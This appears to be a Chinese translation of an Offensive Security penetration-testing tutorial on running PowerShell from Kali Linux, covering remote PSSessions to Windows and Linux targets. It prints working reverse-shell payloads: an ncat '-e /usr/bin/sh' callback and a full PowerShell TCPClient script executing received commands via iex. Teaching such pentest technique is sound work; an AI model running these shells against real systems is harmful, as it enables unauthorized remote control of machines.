kali linux超级用户_如何优雅的在Linux上使用Powershell]
譯文聲明
本文是翻譯文章,文章原作者 TJ Null
文章來源:https://www.offensive-security.com
原文地址:
https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/
譯文僅供參考,具體內(nèi)容表達(dá)以及含義原文為準(zhǔn)。
前言
在最近的幾年中,PowerShell顯然已經(jīng)成為了一種功能強(qiáng)大的腳本語言,它是運行在windows機(jī)器上實現(xiàn)系統(tǒng)和應(yīng)用程序管理自動化的命令行腳本環(huán)境。不僅如此,微軟還推出了Powershell Core,可以跨平臺使用,支持 Linux 和 Mac。
在Linux上使用PowerShell可以帶來諸多好處,例如:
?可以在PowerShell中編寫和調(diào)試腳本
?連接到Windows目標(biāo)靶機(jī)
?傳輸文件
但是目前,PowerShell在Linux平臺上功能還不夠完善,例如:
?所支持的cmdlet不完善
?不能夠在PowerShell中直接使用sudo或exec?不支持WMI或CIM
在WINDOWS上獲取PSSESSION
要想與PSSession進(jìn)行交互,首先在Windows我們需要啟用PSremoting并具有訪問系統(tǒng)的憑據(jù)。當(dāng)您啟用PSRemoting時,它使用默認(rèn)的HTTP 5985端口進(jìn)行連接。WS-Management協(xié)議會幫助我們加密通過網(wǎng)絡(luò)傳輸?shù)乃?Windows PowerShell 內(nèi)容。在本次測試中,使用默認(rèn)選項即可。在Kali上首次使用Powshell時,需要安裝一個單獨的軟件包,并且需要更改一些配置才能獲取PSSession。我們需要安裝gss ntlmssp,并在PowerShell目錄中創(chuàng)建兩個符號鏈接,以確保PowerShell中的WSman模塊正常工作。默認(rèn)情況下,我們的PowerShell位于以下路徑:/ opt / Microsoft / powershell / 7
切換到到上面的目錄。在該目錄中,添加符號鏈接:
ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln?-s?/usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2?libcrypto?.so.1.0.0準(zhǔn)備工作已經(jīng)完成,讓我們打開kali系統(tǒng)上Powshell終端,鍵入以下命令來創(chuàng)建一個新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential使用正確的憑據(jù),我們就可以實現(xiàn)在PSSession中與Windows目標(biāo)進(jìn)行交互。運行結(jié)果如下圖所示:創(chuàng)建PSSession后,我們可以使用Invoke-Command的Session參數(shù)在PSSession中運行命令或腳本。我們還可以通過Invoke-Command命令實現(xiàn)與多臺主機(jī)進(jìn)行交互。以下是一個演示示例,在多臺主機(jī)上執(zhí)行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}
通過這種方法,我們就可以在PSSession后臺執(zhí)行命令。ScriptBlock還允許我們同時執(zhí)行多條命令,只需要使用‘;’將每條命令隔開即可。下面是演示示例:
Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}
命令回顯:如上圖所示,我們可以獲取系統(tǒng)的主機(jī)名,當(dāng)前域和用戶的名稱,以及當(dāng)前用戶的安全權(quán)限。接下來,讓我們看一下如何在Linux上獲得PSSession。在LINUX系統(tǒng)上獲取PSSESSION
PSSession不僅局限于Windows,在Linux上運行Powershell同樣允許我們在Linux靶機(jī)中啟動PSSession。我們需要先運行ssh服務(wù),同時修改sshd_config文件:?PasswordAuthentication yes?Optional: PubkeyAuthentication yes在Ubuntu上鍵入以下命令:Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile接著我們保存對sshd_config的修改,并且重啟ssh服務(wù)。這樣我們便可以在Linux靶機(jī)上獲得PSSession:
我們還可以通過“ Invoke-Command” cmdlet在PSSession中運行Bash命令或PowerShell命令。
Tips:在Linux并非支持所有的cmdlet命令。但是隨著PowerShell的不斷更新與完善,支持cmdlet的指令集也會不斷更新。目前我們已經(jīng)實現(xiàn)在Linux靶機(jī)上獲取PSSession,下面讓我們看一下如何使用Powshell在Linux獲取反向shell。
在LINUX上獲取反向SHELL
在滲透測試中,PowerShell還可以進(jìn)行反彈shell的操作。我們可以在靶機(jī)上執(zhí)行二進(jìn)制文件,傳輸文件,讀寫文件。我將在這一小節(jié)中,演示如何通過ncat命令獲取反彈shell。我們使用一個名為Start-Process的cmdlet可以幫助我們達(dá)到目的。下面是一個演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'我們使用了Start-Process命令運行了ncat,并向kali回調(diào)了一個shell。我們只需要在kali上保持監(jiān)聽即可。如下圖所示,我們成功的在kali上獲取了一個反向shell:我們還可以使用pwsh后邊跟上-Command參數(shù),直接在bash中執(zhí)行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"
運行結(jié)果如下圖所示,我們同樣獲取了一個反彈shell:簡化操作
我們甚至還可以借助Powshell本身的功能來進(jìn)行反彈shell。腳本如下:$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()我們可以把腳本集中放置在一行,并將其保存為文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()當(dāng)靶機(jī)執(zhí)行此腳本時,同樣可以達(dá)到反彈shell的目的:我們可以在shell中運行bash或powershell命令:
結(jié)論
如今,powshell已經(jīng)成為了滲透測試中一大利器。本文只是演示了幾個簡單的示例,Powshell功能遠(yuǎn)不僅此。從pentester的角度來看,我們使用了PowerShell拓展了我們后滲透測試的手段。防御者也通過Powershell來檢測攻擊者的行為。后續(xù),我們將繼續(xù)研究PowerShell在linux更多利用手法。
參考文獻(xiàn)
Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)點分享點點贊點在看
總結(jié)
以上是生活随笔為你收集整理的kali linux超级用户_如何优雅的在Linux上使用Powershell]的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: c语言万能源代码,经典C语言源代码
- 下一篇: Linux中的括号用法